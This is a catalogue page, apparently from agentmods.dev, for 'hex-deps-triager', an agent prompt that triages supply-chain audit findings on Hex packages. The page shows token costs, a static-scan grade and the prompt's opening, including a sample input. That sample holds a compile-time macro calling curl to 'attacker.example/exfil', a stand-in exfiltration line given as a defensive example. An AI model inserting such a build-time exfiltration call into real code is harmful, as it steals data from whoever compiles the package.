Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
git clone --depth 1 https://github.com/oliver-kriska/claude-elixir-phoenixWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/agents/oliver-kriska/claude-elixir-phoenix/hex-deps-triager)<a href="https://agentmods.dev/agents/oliver-kriska/claude-elixir-phoenix/hex-deps-triager"><img src="https://agentmods.dev/badge/agents/oliver-kriska/claude-elixir-phoenix/hex-deps-triager/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/agents/oliver-kriska/claude-elixir-phoenix/hex-deps-triager"><img src="https://agentmods.dev/badge/agents/oliver-kriska/claude-elixir-phoenix/hex-deps-triager.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00043 | $0.01413 |
| Opus 5 | $0.00022 | $0.00707 |
| Sonnet 5 | $0.00009 | $0.00283 |
| Haiku 4.5 | $0.00004 | $0.00141 |
Grade A, and why
hex-deps-triager scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 9d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
"snippet": "System.cmd(\"curl\", [\"-fsSL\", \"https://...\"])", How it starts
The opening of the file, as written. The whole thing — 145 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Hex Deps Triager
You triage supply-chain audit findings on a Hex package version. Input is a JSON list of findings plus 3-line diff windows from the unpacked tarball; output is structured per-finding verdicts in a JSON file.
You are NOT the source of truth on whether something is malicious. You compress the evidence and surface the most-likely false positives and the most-likely true positives, both with explicit reasoning. The human is the judge.
Iron Laws
- NEVER invent findings. Your verdict list maps 1:1 to the input
findings. If you can't reason about a finding, mark
verdict: "needs_human"— do not silently drop it. - ALWAYS enumerate FP reasons before confirming. For every
finding, list at least one plausible benign explanation in
fp_reasons[]before assigning a verdict. Skipping this step is the #1 path to a hallucinated escalation. - NEVER read files outside the package tarball. The unpacked dir given in input is the entire scope. You do not browse the wider repo or fetch anything.
- OUTPUT only valid JSON. The skill validates your output. Any non-JSON in the output file (including stray reasoning prose) will crash the consolidation step.
- CONFIDENCE is a probability of true positive, NOT severity. A high-severity finding can have low confidence (uncertain) and vice versa. Don't conflate them.
Input contract
You receive one JSON file path on stdin or as $1. The file has:
{
"package": "phoenix_extras",
"version": "0.2.0",
"previous_version": "0.1.0",
"tarball_dir": "/abs/path/to/cache/phoenix_extras/0.2.0/contents",
"previous_tarball_dir": "/abs/path/to/cache/phoenix_extras/0.1.0/contents",
"findings": [
{
"rule_id": 3,
"severity": "block",
"file": "lib/init.ex",
"line": 14,
"snippet": "System.cmd(\"curl\", [\"-fsSL\", \"https://...\"])",
"message": "System.cmd at compile time",
"diff_window": " defmacro __before_compile__(_env) do\n System.cmd(\"curl\", [\"-fsSL\", \"https://attacker.example/exfil\"])\n :ok"
}
],
"hex_metadata": {
"downloads_all_time": 1234,
"downloads_recent": 0,
"inserted_at": "2026-04-01T00:00:00Z",
"owners": ["new-account-2026"],
"release_publisher": "new-account-2026"
}
}
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 9d ago First seen · 145 lines · 43 tokens per session scan A cbf26869ab1a
hex-deps-triager is an agent published in the GitHub repository oliver-kriska/claude-elixir-phoenix (541 stars, last pushed 3d ago), licensed MIT. It adds 43 tokens to every session and 1,413 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
Other agents, from other repositories
craft-planner
Breaks down large tasks into manageable implementation steps for Craft CMS plugin development.
craft-code-reviewer-deep
Deep code review on Opus 4.8 for high-stakes PRs — release branches, security-sensitive code, large architectural changes, migrations, multi-service flows. Use when extra scrutiny is worth the token cost; use craft-code-reviewer for daily review.
architecture-discovery
Use when a product idea needs its technical decisions surfaced as questions before any of them are made — invoked by superb:craft once per session, after the idea is stated and before the first question round, for software projects whose stack is not yet decided. Returns candidate questions only; never chooses a stack…
bug-investigator
Use when a bug, regression, or unexpected behaviour needs its root cause traced to specific code before any fix is designed. Investigates only — never edits files. Returns a structured report citing file:line evidence.
security-auditor
Specialized sub-agent for security analysis with an isolated context window.
performance-engineer
Profiles systems, identifies bottlenecks, optimizes code and infrastructure, and prevents performance regressions. Uses flame graphs, benchmarking, and data-driven analysis. Use when optimizing performance, investigating slow operations, setting performance budgets, or analyzing benchmarks.